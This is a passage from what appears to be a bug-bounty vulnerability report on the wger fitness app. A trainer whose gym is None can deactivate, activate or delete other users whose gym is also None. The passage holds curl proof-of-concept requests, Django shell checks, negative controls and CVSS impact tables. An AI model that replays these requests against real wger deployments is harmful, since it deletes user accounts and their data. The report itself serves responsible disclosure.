    -H "Referer: http://localhost:8888/en/user/3/delete"
# → status=500   (the 500 is a redirect-side error, see "Vulnerable code" → V3 above)

# Step 3: confirm alice was actually deleted
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice exists?", User.objects.filter(username='alice').exists())
print("all users:", list(User.objects.values_list('username', flat=True)))
PY
# → alice exists? False
# → all users: ['admin', 'trainer1']

The 500 status returned to the attacker masks the destructive operation but does not prevent it — user.delete() (line 145) commits before the failing redirect (line 155).

Negative control (proves the bypass is None-specific, matching the advisory)

# Reset alice and assign her to gym pk=1 (one of the demo gyms).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = Gym.objects.first()      # not None any more
a.userprofile.save()
print("alice.gym_id =", a.userprofile.gym_id)
PY

# Same trainer1 (gym=None) attempts deactivation
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
    "http://localhost:8888/en/user/<new_alice_pk>/deactivate"
# → status=403       (guard works correctly when gym_ids differ AND neither side is None;
#                      bypass is specifically the None != None edge case)

Verification log

The full verification log of V1 → V2 → V3 (including DB-state diff at every step) is attached as _verify_run1.log.

Key assertions captured:

| Step | Endpoint | HTTP | DB side effect (alice) | |---|---|---|---| | Baseline | (none) | — | is_active=True, gym_id=None, pk=3 | | V1 | GET /en/user/3/deactivate | 302 | is_active=False, gym_id=None, pk=3 | | V2 | GET /en/user/3/activate | 302 | is_active=True, gym_id=None, pk=3 | | V3 GET | GET /en/user/3/delete | 200 (form rendered) | (no change) | | V3 POST | POST /en/user/3/delete w/ trainer1 password | 500 (post-delete redirect) | alice row deleted from DB |

Impact

Per-variant impact

| Variant | Endpoint | HTTP method | Side-effect | Reversible | CVSS (component) | Severity | |---|---|---|---|---|---|---| | V3 | /en/user/<pk>/delete | POST (after GET form) | User.delete() cascades (workouts, weight history, nutrition plans, contracts, admin notes) — DB row + related rows removed | No (DB backup required) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | 9.9 CRITICAL | | V1 | /en/user/<pk>/deactivate | GET | is_active = False (login lockout) | Yes (admin or V2) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H | 7.4 HIGH | | V2 | /en/user/<pk>/activate | GET | is_active = True (undoes defensive deactivation) | Yes (admin) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N | 4.7 MEDIUM |

The headline severity at the top of this report is CRITICAL 9.9 because V3's account-deletion impact dominates the variant family. V1 and V2 are reported here together with V3 because each was independently PoC-verified end-to-end against wger/server:latest (see Reproduction → V1, V2, V3 — three separate live runs with DB-state checks before/after) and the three call sites have an identical patch shape (one-line is_same_gym() migration in wger/core/views/user.py). Submitting V1+V2 separately would carry no marginal value for the maintainer over a single coordinated patch.

Deployment scope (what is and is not affected)

| Deployment model | Affected? | |---|---| | Multi-tenant gym deployment (gym manager + trainers + members) — wger's documented commercial use case | Yes — gym.manage_gym permission is in active use and gym=None accounts can co-exist (trainer accounts pending gym linking, regular users registered before any gym was created, etc.) | | Single-user / personal fitness tracker (1 admin, no gym.manage_gym grant to anyone, no trainer/gym hierarchy in use) | No — the precondition (an attacker with gym.manage_gym + gym=None) cannot occur because the permission is not granted to any user account on such a deployment. | | Public registration + gym-management feature in use | Yes — additional victim recruitment via the registration flow, but the attacker-side precondition still requires admin-granted gym.manage_gym |

bb-fp-detector check-environment-class returned UNKNOWN for this draft because no live customer-facing instance was probed; the impact statement is scoped to the upstream wger/server:latest Docker image's default behaviour, which is the project's own canonical reference deployment.

Auth model verification (decisive tests)

Authorization architecture (bb-auth-doc-audit equivalent)

wger is a self-contained Django web application that uses django.contrib.auth for authentication and Django's per-view permission classes (PermissionRequiredMixin, WgerMultiplePermissionRequiredMixin, @login_required()) for authorization. Authentication and authorization are both enforced inside the wger application (auth-by-product); wger documentation does not delegate either concern to a reverse proxy or external IdP. There is no "operators must place an auth-enforcing reverse proxy in front of wger" disclaimer in the project's deployment docs (https://wger.readthedocs.io/en/latest/production/). The bug therefore directly violates the application's own documented authorization model.

Decisive bogus-credential / negative-control test (bb-bogus-cred-test equivalent) — actually executed

This test was run end-to-end on the same wger/server:latest Docker instance immediately after the positive-control runs (V1+V2+V3 above). Full log: _negative_control.log.

Setup: assign alice to the demo gym (Default gym, pk=1), trainer1 stays at gym=None with gym.manage_gym. Same trainer1 session as the positive-control run.

Result:

| Endpoint | trainer1 attacker (gym=None) → alice (gym_id=1) | Expected | Observed | |---|---|---|---| | GET /en/user/4/deactivate | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ | | GET /en/user/4/activate | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ | | GET /en/user/4/delete | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |

DB state after the three negative-control attempts: alice.is_active = True, alice still exists — no side-effects. The guard is functional.

Symmetric re-confirmation (positive control after revert): alice.gym was reset to None in the same session; GET /en/user/4/deactivate returned 302 with side-effect alice.is_active = False (re-confirming the original bypass triggers reproducibly), then GET /en/user/4/activate returned 302 with alice.is_active = True for cleanup.

This proves:

1. The dispatch() and delete() guards do enforce gym-scope authorization when gym_id is non-None on either side — the guard is structurally functional.
2. The bypass is specifically the None != None semantic edge case — not a header-presence precondition, not a missing middleware, not a generally-disabled check.
3. The bypass is reversible/idempotent in the trivial sense (V1 → V2 → V1 produces consistent state transitions on the victim row), confirming the gap is in the per-request authorization decision and not in some session-level corruption.

Equivalent inverted test:

# Same trainer1 session, but trainer1.gym = 1 (real gym), alice.gym = None
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
t = User.objects.get(username='trainer1')
t.userprofile.gym = Gym.objects.first()
t.userprofile.save()
PY

curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" "http://localhost:8888/en/user/<alice_pk>/deactivate"
# → status=403 Forbidden  (None != 1 evaluates to True → guard works)

Runtime mitigation absence

PoC was run against the default wger/server:latest Docker image with DJANGO_DEBUG=true (a development convenience flag — the bug is not gated by debug mode; the destructive path executes regardless of DEBUG value). No admin override flag was activated. No runtime middleware (no WAF, no reverse proxy, no application firewall, no allow-list bypass) is required for the exploit. The payload reaches the sink, the runtime accepts it, no default filter blocks it. The exploit reaches the unmodified dispatch() / delete() code path on the upstream Docker image and the destructive operation commits. There is no documented runtime mitigation that prevents this gap on a default deployment.

Discovery of canonical tooling